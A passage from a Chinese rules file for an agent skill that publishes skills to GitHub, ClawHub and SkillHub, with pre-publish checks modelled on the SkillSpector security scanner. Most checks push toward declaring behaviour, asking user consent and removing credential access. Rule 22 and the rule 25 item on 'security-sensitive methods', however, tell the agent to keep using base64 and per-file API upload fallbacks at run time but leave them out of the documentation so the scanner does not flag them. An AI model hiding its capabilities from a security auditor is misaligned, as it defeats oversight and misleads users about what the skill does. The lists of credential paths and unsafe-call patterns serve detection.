机制）。**注意**：Level 3 是最后手段，仅用于网络持续不可用的场景；正常情况下 Level 1 或 2 会成功\n - 如果三级都失败，告知用户网络问题，建议稍后重试或手动推送，并按规则 27 记录待补推版本\n - **设计原则**（v5.22.1 新增）：Level 3 的存在性可以文档化（让用户知道有降级方案），但具体 API 实现不文档化（避免触发 SkillSpector 的 MCP Tool Poisoning / Tool Parameter Abuse finding）。这是\"声明即透明\"与\"安全敏感方案不文档化\"的平衡\n23. **SkillHub 备份目录隔离**（v5.4 新增）：临时移除的不支持文件（规则16）不能备份在 skill 目录内部，否则会被 SkillHub 扫描到并报 400 错误：\n - ✅ 正确：备份到 skill 目录外（如父目录下的临时文件夹）\n - ❌ 错误：备份到 `skill-dir/_backup/`（会被扫描）\n24. **SkillHub 文件锁定 fallback**（v5.4 新增）：Windows 上文件可能被其他进程占用导致无法移除，此时改用临时副本方式发布：\n - 移除文件失败（Access denied / being used by another process）→ 用 robocopy 复制到临时目录，在副本中删除不支持的文件，发布副本，发布后删除副本\n - 临时副本目录必须在 skill 目录外，避免被扫描\n25. **ClawHub SkillSpector 预扫描**（v5.7 新增，v5.9/v5.12/v5.13/v5.15/v5.16/v5.17 扩展，源自 v5.4-v5.6 + skillhub-daily + gongwen-formatter + session-branch + kami + xhs-crafter + article-tuwen 多轮 finding 修复经验 + SkillSpector 审计逻辑分析）：发布到 ClawHub 前，必须对 skill 目录执行以下 21 项预扫描（v5.9: 9 项 → v5.12: 10 项 → v5.13: 12 项 → v5.15: 13 项 → v5.16: 17 项 → v5.17: 18 项 → v5.19: 21 项），任何一项 FAIL = 中止发布并修复（WARN/Medium 级别不阻断）。**v5.17 核心认知转变**：基于 SkillSpector 审计逻辑分析，检测核心是\"行为本身是否有风险\"，不是\"描述方式是否匹配\"。SkillSpector 会扫描所有发布文件（含 CHANGELOG 历史记录），不限于 SKILL.md：\n - **YARA 触发词扫描**：扫描 shell history 清理命令、PowerShell 错误忽略参数、递归强制删除、权限放宽等\"自治破坏行为\"字面量。这些字符串即使在文档说明中出现也会触发 YARA 规则 `agent_skill_destructive_autonomous_actions`。详见 `references/security-audit.md` Layer 4\n - **Description-Behavior Mismatch**（v5.13 增强，v5.16 增加 What 不 How 原则）：frontmatter description 必须与 skill 实际行为一致。如果 description 只说\"发布到外部平台\"，就不能有\"修改本地安装目录\"的规则；如果有本地修改行为，description 必须明确披露。**description 模板建议（v5.13 新增，源自 kami 审计反馈）**：description 应区分\"核心能力\"（primary capability，必做的）和\"可选能力\"（optional capability，有条件触发的）。模板：`<核心能力描述>。可选能力：<可选能力 1>、<可选能力 2>（有条件触发）`。例如：`技能发布 — 将 Skill 推送到三平台。可选能力：本地安装目录同步（仅本地使用）、待补推版本跟踪（GitHub 失败时触发）`。**What 不 How 原则（v5.16 新增，源自 article-tuwen 3 轮审计 — 编排层实现细节文档化触发 8 项 findings）**：description 和 SKILL.md 只描述\"做什么\"（What），不描述\"怎么做\"（How）的子技能实现细节。**禁止文档化的实现细节**：① 子技能的端口号/进程操作/脚本文件名 ② 子技能的内部 API 调用链 ③ 子技能的临时文件路径。**编排层特化规则**：如果 skill 是编排层（调用其他 skill 完成任务），只描述编排逻辑（调用哪些 skill、什么顺序、如何组合），不描述子技能的实现。**典型反例**：article-tuwen v1.0.0 在 SKILL.md 中描述了图片搜索子技能的\"启动本地服务器监听 8000 端口\"实现细节，被 SkillSpector 标记为 Context-Inappropriate Capability。**设计原则**：当技能实际能力超出 description 描述时，SkillSpector 会标为 Description-Behavior Mismatch；区分核心/可选能力可以让 description 更准确，同时不显得过于冗长\n - **安全敏感方案不文档化**：不要在文档中描述应对网络限制的 API 逐文件上传方案（含 blob/tree/commit/refs 链）、base64 编码上传等方案。SkillSpector 会标记为 MCP Tool Poisoning / Tool Parameter Abuse。实际执行时可使用，但不要写进文档\n - **Self-Modification 措辞**：避免\"update SKILL.md\"这类自修改措辞，改为\"Update version in SKILL.md\"等具体动作。SkillSpector 会标记为 Rogue Agent Self-Modification\n - **CHANGELOG 历史记录扫描**（v5.16 增加批量授权触发词）：CHANGELOG.md 的历史条目也会被扫描。如果历史条目包含 YARA 触发词、凭证字面量调用模式、或批量授权触发词（见第 15 项），必须重新措辞（用类别描述替代字面量）。**v5.16 新增**：CHANGELOG 中\"修复了 XXX 字面量\"的说明，XXX 必须用类别描述，不能写字面量本身——否则历史记录会持续触发扫描\n - **SSD3 敏感数据派生输出扫描**（v5.9 新增）：检查代码是否读取本地敏感文件（如 memory/profile/credentials）并将其派生内容写入持久化输出（JSON/MD/日志）。SkillSpector 会标记为 SSD3 finding。修复方式：输出文件中只记录聚合统计量（如关键词数量），不记录原始关键词列表；推荐理由中不暴露匹配的敏感关键词，使用 generic 描述\n - **MCP Tool Poisoning 完整行为声明**（v5.9 新增，v5.12 增加代码 import 扫描对照）：description 必须完整声明 skill 的全部行为范围，不能只描述核心功能。如果 skill 实际行为包含以下任一项，description 必须明确披露：① 读取本地文件（memory/profile/config）② 网络请求（API 调用）③ subprocess 调用（CLI 工具）④ 写入外部服务（推送/上传）。建议在 description 中加\"本技能的行为范围（用户须知）\"段落。**代码 import 扫描对照（v5.12 新增，源自 gongwen-formatter v1.1.2 审计）**：扫描 `*.py` 源码，若 import 了 `urllib.request`/`requests`/`http.client`/`aiohttp`/`httpx` 等 HTTP 客户端库，但 SKILL.md frontmatter description 未声明\"会发起网络请求\"，或 SKILL.md 无\"权限声明\"段落披露网络访问，则标记为预扫描 FAIL。修复方式：① 在 SKILL.md 增加\"权限声明\"段落披露网络访问（用规则 18 的 5 行表格标准模板）② 在 README 中英文版增加用户警告段落 ③ 提供关闭网络访问的开关参数（如 `--no-network`）。此检查旨在预防 Context-Inappropriate Capability finding——SkillSpector 不只针对 SSRF，还会针对\"非声明网络的隐式外联\"\n - **MCP Least Privilege 权限声明**（v5.9 新增）：SKILL.md 或 plugin.json 必须声明 skill 需要的权限（网络访问/文件读写/环境变量列表）。未声明权限但实际使用了这些能力的 skill 会被标记为 MCP Least Privilege finding。建议在 SKILL.md frontmatter 或正文增加\"权限声明\"段落\n - **Missing User Warnings 检查**（v5.9 新增，v5.13 扩展覆盖范围，v5.17 增加破坏性操作点警告）：如果 skill 有副作用（自动推送/自动写入外部服务/定时执行/**写入项目本地文件**，v5.13 新增），README 必须包含用户警告，明确告知：① 运行会自动写入哪些外部目的地 ② 会读取哪些本地数据 ③ **会创建/覆盖项目内哪些文件**（v5.13 新增，源自 session-branch Finding 6 — 写 `docs/session-handoff.md` 但没告知用户）④ 如何禁用副作用（如 --skip-push 参数）。中英文 README 必须同步包含警告。**破坏性操作点警告（v5.17 新增，源自 skill-publisher v5.16.0 被标记 Missing User Warnings 85% — 删除 skill-card.md 无操作点警告）**：任何破坏性操作（删除文件/覆盖目录/清空数据）必须在**操作发生的位置**添加警告，不能只靠 description 声明或 README 段落。**检测模式**：扫描 SKILL.md 和 references/ 中是否有\"删除\"/\"覆盖\"/\"清空\"/\"Delete\"/\"Remove\"/\"Overwrite\"等破坏性动词，如果有，检查该操作点是否有\"⚠️ 警告：将删除/覆盖 X\"的前置提示。**FAIL 条件**：破坏性操作无操作点警告 = Medium finding。**修复方式**：在破坏性操作前增加\"⚠️ 警告：将删除 X（原因：...，影响：...，确认后执行）\"的前置提示。**设计原则**：README 段落警告是\"整体声明\"，操作点警告是\"即时提醒\"——SkillSpector 要求两者都有，不能只靠 README\n - **Unpinned Dependencies 分级处理**（v5.12 新增，源自 gongwen-formatter v1.1.2 审计；v5.22 扩展多文件扫描，源自 2026-07-20 周度审查建议）：扫描所有依赖清单文件（不仅 requirements.txt），按以下分级处理：\n - `==` 精确锁定 → **PASS**（最佳实践）\n - `~=` 兼容版本锁定 → **PASS**（推荐，平衡安全与兼容）\n - `>=` 范围锁定 → **WARN**（建议改 `~=`，但非阻断；SkillSpector 会标为 Low finding 但不阻断发布）\n - 无版本约束 → **FAIL**（阻断发布）\n **v5.22 扫描文件扩展**（不仅 requirements.txt）：\n - `requirements.txt`（Python pip）\n - `pyproject.toml`（现代 Python 项目，PEP 621）\n - `setup.py`（旧式 Python 项目）\n - `package.json`（Node.js，检查 dependencies 和 devDependencies）\n - `Pipfile`（Pipenv）\n - `go.mod`（Go modules，检查 require 块）\n **扫描方式**：Grep 每个文件中的依赖项，提取版本约束符（`==`/`~=`/`>=`/无），按上述分级判定。任一依赖 FAIL = 阻断发布\n **设计原则**：PIP 生态默认就是 `>=`，强制要求 `==` 精确锁定会破坏跨版本兼容性。本预扫描的目的是预防性地让作者选择 `~=` 折中方案，避免上线后被动响应 SkillSpector 的 Low finding。WARN 级别不阻断发布，只提示作者\n - **Internal Consistency Check 内部矛盾检测**（v5.13 新增，源自 session-branch Finding 3 — \"Critical rules 说不用绝对路径\" vs \"Step 4 要求绝对路径\"）：扫描 SKILL.md 中是否同时存在\"禁止 X\"和\"要求 X\"的指令。**检测模式**：① 扫描\"禁止/不要/never/Do NOT/❌\"开头的指令，提取被禁止的行为 X ② 在文档其他位置搜索是否有\"要求/必须/must/✅\"要求执行 X 的指令 ③ 若同时存在 = Medium finding，要求作者消除矛盾。**典型场景**：规则说\"不要硬编码路径\"但 Step 说\"必须用绝对路径 `/path/to/file`\"；规则说\"不要自动推送\"但 Step 说\"完成后自动 sync\"。**修复方式**：① 消除矛盾指令 ② 或用条件限定（如\"用户明确要求时可用绝对路径\"）。**注意**：这是启发式检查，需人工判断上下文——某些\"禁止\"指令有例外条件（如\"禁止硬编码，但配置文件中的默认值除外\"），不算矛盾\n - **Sensitive File Scan Consent Check 敏感文件扫描同意检测**（v5.13 新增，源自 session-branch Finding 2/7 — 扫描 `~/.workbuddy/SOUL.md`/`IDENTITY.md` 但无用户同意步骤）：如果 skill 指令中包含扫描敏感文件的路径模式，必须验证 SKILL.md 中有 consent（同意/许可）步骤。**敏感文件路径模式**：`~/`（home 目录）、`SOUL.md`/`IDENTITY.md`/`MEMORY.md`/`PROFILE.md`（身份/记忆类）、`config.json`/`credentials`/`.env`（凭证类）、`memory/`（TRAE memory 目录）、`profile/`（用户档案）。**检测规则**：① 扫描 SKILL.md 中是否出现上述路径模式 ② 若出现，检查 SKILL.md 中是否包含 consent 关键词：`consent`/`permission`/`同意`/`许可`/`用户确认`/`明确授权` ③ 无 consent = Medium finding。**修复方式**：在扫描敏感文件前增加 consent 步骤，如\"读取用户 profile 前，必须先告知用户会读取哪些字段，并等待用户确认\"。**设计原则**：扫描敏感文件本身不禁止（有些 skill 合理需要读 memory/profile），但必须有用户知情同意步骤，不能静默扫描\n - **Credential Access 行为检测**（v5.15 新增字面量扫描，v5.16 改纯文字描述，v5.17 重构为行为风险检测 — 源自 skill-publisher v5.14.0/v5.15.0/v5.15.1/v5.16.0 四轮被 SkillSpector 标记的教训）：扫描 skill 是否有从 OS 持久存储读取凭证的行为。**v5.17 核心转变**：从\"检测代码调用模式的字面量\"转向\"检测行为本身\"——SkillSpector Layer 2 检测的是\"行为是否超出 least-privilege\"，不是\"代码模式是否匹配\"。**检测行为**：① 是否从 Windows/Mac/Linux 的 OS 持久凭证存储读取（无论用什么方式描述）② 是否有\"替代 stale 环境变量读取凭证\"类措辞暗示从持久存储读取。**FAIL 条件**（High）：skill 包含上述任何行为的代码或文档描述——即使纯文字描述\"从 OS 持久存储读凭证\"也会被标记为 Context-Inappropriate Capability。**修复方式**：移除从 OS 持久存储读取凭证的行为本身，只通过环境变量读取。如果环境变量 stale 导致 401，告知用户重启 session，而不是自行从持久存储读取。**设计原则**：这是声明完整性策略三阶段演变的典型应用——v5.14.0-v5.16.0 采用字面量替换/占位符/纯文字描述策略，均未成功；v5.17 移除行为本身，从源头消除风险\n - **外部 CDN 引用扫描**（v5.16 新增，源自 xhs-crafter v7.3.1-v7.6.0 三轮审计 — 外部 CDN 引用触发 4 项 findings，最高频问题）：扫描 HTML/CSS/JS 文件中是否引用外部 CDN 域名。**检测域名列表**：Google Fonts（fonts.googleapis.com / fonts.gstatic.com）、jsDelivr（cdn.jsdelivr.net）、unpkg（unpkg.com）、CDNJS（cdnjs.cloudflare.com）等公共 CDN。**FAIL 条件**：任何文件引用了上述外部 CDN 域名。**修复方式**：① 下载 CDN 资源到本地（如 assets/fonts/、assets/css/、assets/js/）② 用本地相对路径引用 ③ 如果是字体，用 system-ui/Segoe UI/Arial 等系统字体替代。**设计原则**：外部 CDN 引用会触发 SkillSpector 的 External Transmission / Data Exfiltration finding——即使只是加载字体，也被视为\"向外部服务器发送请求\"。声明外部依赖（如在 description 中说\"使用 Google Fonts\"）**不等于可以保留**——必须本地化或用系统字体替代\n - **批量授权检测**（v5.16 新增，源自 xhs-crafter v7.4.0 审计 — \"按流程走一遍\"措辞被标记为 Autonomous Decision Making High finding 98% confidence）：扫描 SKILL.md 中是否包含被用作**授权触发词**的批量授权措辞。**检测措辞**：`按流程走一遍`/`全流程自动`/`都行`/`全部同意`/`一路回车`/`批量确认`。**FAIL 条件**（High 级别）：上述措辞出现在\"视为授权\"/\"不再逐项询问\"/\"自动执行\"等**授权语境**附近时。**不触发条件**：上述措辞出现在普通说明中（如\"用户可以按流程走一遍了解功能\"）不算 FAIL。**判定标准**：措辞被用作\"代替用户逐项确认\"的授权机制 = FAIL；措辞只是描述流程 = 不触发。**修复方式**：用\"逐项确认\"替代\"按流程走一遍\"——每个需要用户确认的步骤都单独询问，不批量授权。**设计原则**：SkillSpector 将\"批量授权\"视为 Autonomous Decision Making——agent 不应自行决定用户已授权所有步骤，每一步都应单独确认\n - **过渡修补检测**（v5.16 新增，源自 xhs-crafter v7.4.0 教训 — 为修复 1 项 finding 引入 image-search.js 导致 5 项新 findings，WARN 级别不阻断）：扫描本次修改是否新增了\"过渡修补\"代码——为应对某个 finding 而引入的新外部依赖或新行为。**检测模式**：① 扫描代码文件，如果包含外部 API 调用/环境变量读取/跨项目状态访问 ② 检查这些代码是否是\"为修复某个 SkillSpector finding 而新增的\" ③ 如果是 = WARN，提示作者评估\"这个修复是否引入了新的 finding 风险\"。**WARN 级别**：不阻断发布，只提示作者评估。**典型反例**：xhs-crafter v7.4.0 为修复\"图片搜索功能缺失\"而新增 image-search.js，引入了本地服务器监听/外部 API 调用/进程管理 3 项新行为，导致 5 项新 findings。**修复方式**：修复 finding 时评估\"这个修复是否引入了新的外部依赖或行为\"——如果是，在 SKILL.md description 和权限声明中同步声明。**设计原则**：过渡修补是第二轮 findings 的最大来源——为修复 1 项 finding 而引入 5 项新 findings 的反模式必须预防\n - **Instruction Override 语言检测**（v5.16 新增，源自 article-tuwen v1.0.3 审计 — 安全检查规避类词汇出现在确认点附近被标记为 Instruction Override High finding）：扫描 SKILL.md 中是否包含安全检查规避类词汇出现在**安全检查/确认点**附近。**检测方式**：扫描一类意为\"规避安全检查\"的词汇（含中文和英文等价词），出现在\"确认点\"/\"安全检查\"/\"前置条件\"/\"用户确认\"等**安全语境**附近时为 FAIL（High 级别）。**Medium 条件**：上述词汇出现在\"异常处理\"/\"错误恢复\"/\"降级\"等**容错语境**附近时。**不触发条件**：上述词汇出现在普通说明中（如\"跳过此步骤不影响主流程\"）不算 FAIL。**判定标准**：词汇暗示\"规避安全检查\" = FAIL；词汇描述\"异常时降级\" = Medium；词汇只是普通说明 = 不触发。**修复方式**：用\"异常时降级到 X\"/\"失败后 fallback 到 Y\"替代\"规避 X\"——明确是\"降级\"而非\"规避\"。**设计原则**：SkillSpector 将规避类语言视为 Instruction Override——agent 不应有规避安全检查的指令，即使是为了容错也应该用\"降级\"而非\"规避\"\n - **Hidden Instructions 检测**（v5.17 新增，源自 skill-publisher v5.15.1 自身被 SkillSpector 标记为 Hidden Instructions High 95% — HTML 注释形式标记的 LOCAL-ONLY 隐藏指令）：扫描所有文件中是否包含 HTML 注释标记的隐藏指令或条件指令。**检测模式**：① HTML 注释中包含\"发布前删除\"/\"发布前移除\"/\"LOCAL-ONLY\"/\"内部使用\"等条件指令 ② \"发布前 X，发布后 Y\"的双态指令（指令与实际行为矛盾）③ 任何形式的\"隐藏直到某条件触发\"的指令。**FAIL 条件**（High 级别）：发现上述任何模式。**修复方式**：移除 HTML 注释标记的隐藏指令，所有行为在 description 中声明——\"声明即透明\"原则。如果某些步骤只在本地执行（如 sync_skills.py），不用 HTML 注释标记\"发布前删除\"，而是在 description 中明确声明\"会同步到本地安装目录\"。**设计原则**：SkillSpector 将 HTML 注释中的指令视为 Hidden Instructions——agent 可能在用户不知情的情况下执行隐藏指令。正确做法是所有行为都透明声明，不用隐藏指令管理发布流程\n - **Name-Summary Coherence（P-C1，v5.19 新增）**：检查 frontmatter `name` 与 `description`/`summary` 是否描述同一件事。**检测方式**：提取 name 关键词（如 publisher/creator/auditor）与 description 关键词，重叠度 < 30% = WARN。**FAIL 条件**：WARN 级别不阻断发布，提示作者检查命名一致性。**修复方式**：调整 name 或 description 使二者指向同一概念。**来源**：skill-auditor v2.0.0 P-C1\n - **Unsafe Deserialization 检测（T-AST05，v5.19 新增）**：扫描代码是否使用不安全的反序列化方式。**检测模式**：Grep `yaml.load(`（非 `safe_load`）/ `pickle.loads?(` / `eval(` 用于解析 JSON/YAML。**FAIL 条件**（High）：上述模式出现 = 阻断发布。**修复方式**：① `yaml.load` → `yaml.safe_load` ② `pickle.loads` → `json.loads`（如数据是 JSON）③ `eval` 解析 → `json.loads`。**来源**：skill-auditor v2.0.0 T-AST05（OWASP AST10 对齐）\n - **Cross-Platform OS 限制声明（T-AST10，v5.19 新增）**：检查 frontmatter 是否声明 OS 限制或跨平台兼容性。**检测方式**：检查 `metadata.openclaw.os` 字段是否存在，或 description 是否含 \"Windows/Linux/Mac/cross-platform\" 等平台关键词。**FAIL 条件**：无 OS 声明 = Low（FYI 级，不阻断，提示作者补充）。**修复方式**：在 metadata.openclaw.os 声明支持的 OS 列表（如 `[\"windows\", \"macos\", \"linux\"]`）。**来源**：skill-auditor v2.0.0 T-AST10\n26. **GitHub 失败醒目警告**（v5.11 新增，源自 skillhub-daily GitHub 漏更 40 天事件）：如果 GitHub 推送失败（token 失效/网络超时/降级全失败），发布流程末尾必须用醒目警告重复提示，不能只埋在结果表格里。警告格式：\n ```\n ⚠️⚠️⚠️ 警告：GitHub 未同步！版本 未推送到 GitHub ⚠️⚠️⚠️\n 下次发布前必须先补推此版本。\n 待补推版本已记录到 docs/knowledge/skill-publisher-log.md\n ```\n 警告必须在发布结果表格之后单独显示，不能只靠表格中 GitHub 行的 ❌ 标记\n27. **待补推版本跟踪**（v5.11 新增）：GitHub 推送失败时，必须在 `docs/knowledge/skill-publisher-log.md` 中记录待补推版本号和失败原因。每次发布 Step 0 前置条件校验时，先检查 log.md 中是否有待补推版本，有则优先补推：\n - log.md 中新增 `### 待补推版本` 字段，记录：技能名、版本号、失败原因、失败日期\n - Step 0 检查到待补推版本时，提示用户\"检测到 v 未推送到 GitHub，是否先补推？\"\n - 补推成功后，从 log.md 中删除待补推记录\n28. **三平台一致性校验**（v5.11 新增）：发布完成后，必须对比三平台版本号，不一致时醒目警告：\n - GitHub：`gh api repos///releases/latest --jq '.tag_name'` 或 `git ls-remote --tags origin`\n - ClawHub：`clawhub inspect ` 查看最新版本\n - SkillHub：`skillhub inspect ` 或 frontmatter version 字段\n - 三平台版本号不一致时，醒目警告：`⚠️ 三平台版本不一致：GitHub | ClawHub | SkillHub ，请检查遗漏的平台`\n - 一致时简短确认：`✅ 三平台版本一致：`\n\n29. **多文件一致性校验**（v5.14 新增中英文 README 一致性，v5.16 扩展为多文件一致性，源自 wx-huitu v2.2.0 + xhs-crafter v7.5.0/v7.6.0 + article-tuwen v1.1.1 多轮\"主文件改了子文件没改\"事件）：Step 1 仓库结构生成阶段，必须比对以下三类文件的一致性，不一致 = FAIL（版本号/触发词）或 WARN（描述类字段），列出差异清单：\n\n **A. 中英文 README 一致性**（v5.14 原有，5 项关键字段）：\n - **版本号 badge**：中文 `版本-X.Y.Z` 与英文 `version-X.Y.Z` 必须一致\n - **触发词列表**：中文触发词列表与英文版 Usage 段的触发词必须一一对应（数量相同、语义一致）\n - **核心能力描述**：中文\"核心特性\"与英文\"Key Features\"每条必须语义对应，不能一边改了一边没改\n - **用户警告段落**：中文\"用户须知\"与英文\"User Notice\"的副作用列表必须一致（默认操作数量相同、可选操作标注一致）\n - **不适用范围**：中文\"不适用范围\"与英文\"Out of Scope\"必须一一对应\n\n **B. SKILL.md 与 references/ 子文件一致性**（v5.16 新增，源自 xhs-crafter v7.5.0/v7.6.0 — SKILL.md 改了但 references/ 没同步，3 项关键字段）：\n - **版本号**：SKILL.md frontmatter version 与 references/ 中提到的版本号必须一致。**典型反例**：xhs-crafter v7.5.0 SKILL.md 升级到 v7.5.0 但 references/ 仍写 v7.4.0\n - **外部依赖描述**：SKILL.md 声明的外部依赖（API/CDN/字体）与 references/ 中的描述必须一致。**典型反例**：xhs-crafter v7.6.0 SKILL.md 移除了外部 CDN 引用但 references/ 仍写\"使用 Google Fonts\"\n - **触发词**：SKILL.md frontmatter description 的触发词与 references/ 中的触发词示例必须一致\n\n **C. SKILL.md 与 README 行为描述一致性**（v5.16 新增，源自 article-tuwen v1.1.1 — SKILL.md 改了行为但 README 没同步，2 项关键字段）：\n - **行为范围**：SKILL.md description 的行为范围声明与 README 的\"核心特性\"必须一致\n - **权限声明**：SKILL.md 的权限声明段落与 README 的\"用户须知\"必须一致\n\n **校验方式**：提取各类文件的对应章节，比对上述字段。发现不一致时输出：`⚠️ 多文件不一致：[文件A] vs [文件B] [字段名] A=<值> | B=<值>，请同步修复`。**设计原则**：规则 2 已要求\"安全修复必须同步中英文版\"，本规则扩展为\"任何修改必须同步所有相关文件\"——SkillSpector 会扫描所有文件，一处遗漏就会触发 finding\n\n30. **跨平台通用规则预检**（v5.18.1 新增，源自第二轮 ClawHub 开源仓库深度分析 + ClawHub 规则通用性分类框架）：发布到任何平台（GitHub / ClawHub / SkillHub）前，必须执行以下 5 项跨平台通用规则预检。这些规则源自 [ClawHub 开源仓库](https://github.com/openclaw/clawhub) 的安全分析哲学，但其底层逻辑是 agent skill 这个形态的通用安全属性——与平台无关，对所有 skill 发布都适用：\n - **A. frontmatter `metadata.openclaw` 声明层**（通用化自 Layer 4.5）：所有平台发布前，frontmatter 必须包含 `metadata.openclaw` 结构，声明 `requires.env`（代码引用的所有凭证环境变量）/ `requires.bins`（必须存在的二进制）/ `anyBins`（任一存在即可的二进制）/ `primaryEnv`（主凭证变量）/ `envVars`（含 `required: false` 标记的可选变量）。SkillHub 虽不强制要求 `metadata.openclaw`，但保留该结构不会报错（未知字段被忽略），且能提升 skill 在任何平台的可信度。**适用范围**：所有平台\n - **B. description 行为声明段落**（通用化自 MCP Tool Poisoning 完整行为声明）：description 必须完整声明 skill 的全部行为范围，不能只描述核心功能。如果 skill 实际行为包含以下任一项，description 必须明确披露：① 读取本地文件（memory/profile/config）② 网络请求（API 调用）③ subprocess 调用（CLI 工具）④ 写入外部服务（推送/上传）。建议在 description 中加\"本技能的行为范围（用户须知）\"段落。**适用范围**：所有平台\n - **C. README 用户警告段落**（通用化自 Missing User Warnings）：如果 skill 有副作用（自动推送/自动写入外部服务/定时执行/写入项目本地文件），README 必须包含用户警告，明确告知：① 运行会自动写入哪些外部目的地 ② 会读取哪些本地数据 ③ 会创建/覆盖项目内哪些文件 ④ 如何禁用副作用。中英文 README 必须同步包含警告。**适用范围**：所有平台\n - **D. 权限声明段落**（通用化自 MCP Least Privilege）：SKILL.md 或 plugin.json 必须声明 skill 需要的权限（网络访问/文件读写/环境变量列表/subprocess 调用/外部 API）。建议在 SKILL.md 中增加 5 行权限声明表格（能力类别 / 是否使用 / 说明）。**适用范围**：所有平台\n - **E. 发布专用排除层**（通用化自 `.clawhubignore` 机制）：发布到任何平台前，必须确认凭证文件/临时脚本/构建产物不会被上传。ClawHub 用 `.clawhubignore`；SkillHub CLI 如果也读 `.gitignore` 就有同样的盲区，需用临时副本方式发布（在副本中删除凭证文件和不支持文件）。**适用范围**：所有平台\n\n **三层分类框架**（源自 ClawHub 规则通用性分析）：\n - **平台特定**（20%）：`.clawhubignore` 文件名 / `metadata.openclaw` 命名空间 / `clawhub` CLI 命令名——仅 ClawHub 需要\n - **概念通用**（60%）：frontmatter 声明与行为匹配 / Description-Behavior Mismatch / Credential Access 检测 / Missing User Warnings / 行为声明段落——对所有平台有直接泛化价值\n - **工程最佳实践**（20%）：semver / 安全预扫描 / Post-publish 验证 / 双 README 同步——跨平台通用\n\n **设计原则**：ClawHub 的 SkillSpector 看似是平台特有的安全分析，但其底层逻辑（声明与行为匹配、最小权限、用户知情、行为透明）是 agent skill 这个形态的通用安全属性。这些规则之所以在 ClawHub 出现，是因为 ClawHub 是目前唯一系统化做 skill 安全分析的平台，但规则本身不依赖于 ClawHub 的存在。**本规则将概念通用层（60%）+ 工程最佳实践层（20%）= 80% 的 ClawHub 规则泛化为跨平台通用预检**\n\n31. **审计期补充检查引导**（v5.19 新增，源自 skill-auditor v2.0.0 集成）：发布预扫描覆盖声明-行为一致性的静态可判定部分。以下检查项需审计期运行时上下文或语义判断，发布预扫描不覆盖，建议在发布前用 skill-auditor L3 审计执行：\n - **T-LT Lethal Trifecta**（3 要素：访问私有数据 + 暴露不可信内容 + 对外通信）：三要素同时满足才升级 Critical，需审计期判断\"不可信内容\"边界\n - **P-C4 Power-Proportionality**：权力与用途比例的语义判断（如\"审计技能需要推送权力 = 不合理\"）\n - **T-AST06 隔离薄弱**：沙箱声明与行为边界的语义判断\n - **T-AST07 更新漂移**：hash 验证需联网拉取依赖信息\n\n **引导**：发布前执行 `skill-auditor ` 跑 L3 全量审计，可覆盖上述检查项。skill-publisher 与 skill-auditor 形成\"发布预扫描 + 审计期深度检查\"的两层防护。\n\n32. **三平台文件差异化发布**（v5.20 新增，源自 2026-07-17 三平台头部 skill 调研）：三平台对文件类型的要求不同，发布时必须按平台差异化处理，不能三平台推送相同文件集。**这是强制规则，违反会导致 ClawHub 拒绝文件或 SkillHub 400 错误**。\n\n **三平台文件差异化矩阵**：\n\n | 文件/目录 | GitHub | ClawHub | SkillHub |\n |-----------|--------|---------|----------|\n | SKILL.md | ✅ 保留 | ✅ 保留 | ✅ 保留 |\n | README.md（中文主文档）| ✅ 保留 | ❌ **剔除** | ⚠️ 可选（不流行）|\n | README.en.md（英文文档）| ✅ 保留 | ❌ **剔除** | ❌ 剔除 |\n | CHANGELOG.md | ✅ 保留 | ❌ **剔除** | ❌ 剔除 |\n | LICENSE（无扩展名）| ✅ 保留 | ✅ 保留 | ❌ **剔除** |\n | .claude-plugin/ | ✅ 保留 | ✅ 保留 | ❌ **剔除** |\n | .github/ | ✅ 保留 | ❌ 剔除 | ❌ 剔除 |\n | .clawhubignore | ✅ 保留 | ✅ 保留 | ❌ 剔除 |\n | .gitignore | ✅ 保留 | ❌ 剔除 | ❌ 剔除 |\n | references/ | ✅ 保留 | ✅ 保留 | ✅ 保留 |\n\n **关键约束**：\n - **ClawHub 官方禁止 README.md / CHANGELOG.md**：源自 `skill-creator`（3433 安装的官方指导 skill）明确声明 \"Do NOT create extraneous documentation or auxiliary files, including: README.md, INSTALLATION_GUIDE.md, QUICK_REFERENCE.md, CHANGELOG.md, etc.\"。ClawHub 只有 SKILL.md 作为唯一内容载体，skill-card.md 由平台自动生成（含英文 Use Case / Risks / Skill Output 段落，不要手写或覆盖）。版本说明用 `clawhub publish --changelog` 参数传递（中文允许）\n - **SkillHub 拒绝无扩展名文件和 dotfile**：LICENSE / .gitignore / .claude-plugin/ / .github/ / .clawhubignore 都会被拒（400 错误）。用临时副本方式发布（在副本中删除这些文件）\n - **ClawHub 也应使用临时副本方式**：剔除 README.md / README.en.md / CHANGELOG.md / .gitignore / .github/ 后发布，避免上传 ClawHub 禁止的辅助文档\n - **ClawHub 临时副本发布必须带 `--name` 参数**（v5.20.1 新增，源自 2026-07-19 displayName 污染事故）：ClawHub 在未指定 `--name` 时会从**临时副本目录名**推断 displayName（下划线转空格 + 首字母大写）。如果临时副本目录名含 `temp`/`copy`/`_` 等词，displayName 会被污染成 \"Clawhub Temp Skill Publisher\" 这类错误名称。**强制要求**：① `clawhub publish` 命令必须显式带 `--name \"\"` 参数 ② 临时副本目录名必须用 `-clawhub-copy` 格式（如 `skill-publisher-ai-clawhub-copy`），禁止用 `_clawhub_temp_` 这类含 temp 的命名\n - **SkillHub 临时副本目录名无此问题**：SkillHub 从 SKILL.md frontmatter 的 `displayName` 字段读取，不从目录名推断。但建议也用 `-skillhub-copy` 格式保持一致性\n - **发布后立即恢复或清理**：临时副本发布完成后立即删除；如果是原目录移除文件方式，发布后立即恢复\n\n **执行流程**：\n 1. GitHub 推送：保留所有文件（README.md / README.en.md / CHANGELOG.md / LICENSE / .claude-plugin/ / .github/）\n 2. ClawHub 发布：用临时副本（目录名 `-clawhub-copy`），剔除 README.md / README.en.md / CHANGELOG.md / .gitignore / .github/，保留 SKILL.md / LICENSE / .claude-plugin/ / .clawhubignore / references/。**publish 命令必须带 `--name \"\"`**\n 3. SkillHub 发布：用临时副本（目录名 `-skillhub-copy`），剔除 LICENSE / .claude-plugin/ / .github/ / .clawhubignore / .gitignore / README.en.md / CHANGELOG.md，保留 SKILL.md / README.md（可选）/ references/\n\n **预扫描检查**：发布前必须确认目标平台的临时副本已剔除该平台不支持的文件。未剔除 = Medium finding，要求作者在发布前剔除。**ClawHub 发布前检查 publish 命令是否带 `--name` 参数**：未带 = FAIL（阻断发布），因为会导致 displayName 被目录名污染。\n\n33. **displayName / summary 语言策略**（v5.20 新增，源自 2026-07-17 三平台头部 skill 调研）：三平台对 displayName 和 summary 的语言惯例不同，发布时必须按平台调性选择语言。\n\n **平台调性**：\n - **SkillHub（腾讯）**：中文优先、英文兼容。community 源头部 